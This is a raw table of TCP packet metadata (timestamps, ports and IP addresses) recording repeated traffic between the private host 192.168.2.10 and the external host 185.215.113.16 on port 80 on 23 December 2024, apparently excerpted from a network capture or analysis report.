Dec 23, 2024 08:15:48.743221045 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.743307114 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.743865967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.743916035 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.743933916 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.743946075 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.744054079 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.744062901 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.744631052 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.744707108 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.744709969 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.744719028 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.744828939 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.744832039 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.745429039 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.745484114 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.745493889 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.745497942 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.745523930 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.745682955 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.746238947 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.746282101 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.746295929 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.746304989 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.746395111 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.746428967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.747015953 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.747071981 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.747073889 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.747087002 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.747111082 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.788178921 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.919394016 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.919426918 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.919440031 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.919536114 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.919559956 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.919718981 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.919827938 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.919840097 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.919929028 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.919929028 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.920175076 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.920255899 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.920382977 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.920420885 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.920420885 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.920512915 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.920523882 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.920536041 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.921219110 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.921295881 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.921308994 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.921416044 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.921570063 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.921570063 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.921968937 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.922041893 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.922060966 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.922071934 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.922157049 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.922328949 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.922771931 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.922828913 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.922840118 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.922909021 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.922909021 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.922950029 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.923592091 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.923662901 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.923674107 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.923717022 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.923717022 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.923794031 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.924374104 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.924422979 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.924434900 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.924434900 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.924609900 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.925149918 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.925200939 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.925211906 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.925251007 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.925251007 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.925251007 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.925357103 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.925928116 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.926014900 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.926029921 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.926064968 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.926107883 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.926117897 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.926721096 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.926788092 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.926800013 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.926915884 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.927542925 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.927602053 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.927602053 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.927602053 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.927607059 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.927618980 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.927723885 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.928335905 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.928379059 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.928390980 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.928442001 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.928442001 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.928442001 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.928503036 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.929136992 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.929156065 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.929167032 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.929287910 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.929884911 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.929930925 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.929932117 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.929932117 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.929958105 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.929970026 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.930078030 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.930093050 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.930672884 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.930747986 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.930759907 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.930793047 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.930880070 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.931485891 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.931534052 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.931545019 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.931581974 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.931581974 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.931581974 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.931655884 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.932271004 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.932327032 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.932337999 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.932351112 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.932456970 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.932820082 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.933029890 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.933110952 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.933121920 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.933217049 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.933217049 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.933231115 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.933881044 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.933940887 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.933952093 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.934046984 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.934046984 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.934135914 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.936017990 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.936042070 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.936074018 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.936084986 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.936095953 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.936105967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.936116934 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.936129093 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.936213970 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.936289072 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.936302900 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.936337948 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.936337948 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.936399937 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.937122107 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.937133074 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.937144041 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.937207937 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.938319921 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.938319921 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.938349009 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.938361883 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.938373089 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.938627958 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.939078093 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.939090014 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.939100981 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.939111948 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.939364910 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.939433098 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.939444065 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:48.939505100 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.939505100 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:48.939505100 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.111807108 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.111824989 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.111839056 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.111884117 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.111960888 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.111960888 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.111994982 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.112037897 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.112049103 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.112504959 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.112557888 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.112570047 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.112600088 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.112600088 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.112701893 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.112899065 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.113329887 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.113353014 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.113363981 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.113425016 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.113425016 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.113786936 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.113864899 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.113876104 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.113992929 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.114593983 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.114639997 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.114639997 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.114667892 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.114679098 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.114789963 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.114937067 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.115127087 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.115394115 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.115462065 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.115473986 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.115566015 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.115588903 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.117046118 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.117089987 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.117114067 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.117125034 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.117227077 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.117289066 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.117300034 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.117311954 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.117528915 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.117542028 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.117580891 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.117580891 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.117580891 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.117765903 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.117842913 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.117854118 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.117923975 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:49.118355036 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.118571997 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.670344114 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:49.789916039 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.120413065 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.120471954 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.120511055 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.120543003 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.120579004 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.120616913 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.120641947 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.120652914 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.120748997 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.120863914 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.120901108 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.121005058 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.121401072 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.121436119 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.121474028 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.121491909 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.121510983 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.121565104 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.242835045 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.242888927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.242902040 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.242974997 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.243125916 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.243168116 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.243390083 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.243402004 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.243415117 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.243447065 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.244004011 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.244082928 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.244102001 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.244115114 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.244128942 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.244184017 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.244515896 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.244528055 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.244540930 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.244554043 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.244659901 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.245237112 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.245249987 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.245289087 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.245301962 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.245311022 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.245421886 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.246006012 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.246018887 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.246073961 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.246085882 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.246100903 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.246176958 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.248009920 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.288137913 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.367171049 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.367187023 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.367197990 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.367296934 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.367391109 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.367403030 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.367439985 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.367503881 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.367522001 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.367551088 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.368009090 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.368021965 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.368033886 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.368060112 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.368104935 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.368741035 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.368752956 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.368793964 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.368803024 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.368815899 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.368876934 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.369333029 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.369344950 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.369368076 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.369391918 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.370059967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.370071888 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.370104074 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.370152950 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.370167017 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.370189905 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.370827913 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.370841026 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.370882034 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.370893955 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.370898962 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.370945930 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.371058941 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.371105909 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:50.371706963 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.371720076 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:50.371731997 CET	80	49763	185.215.113.16	192.168.2.10
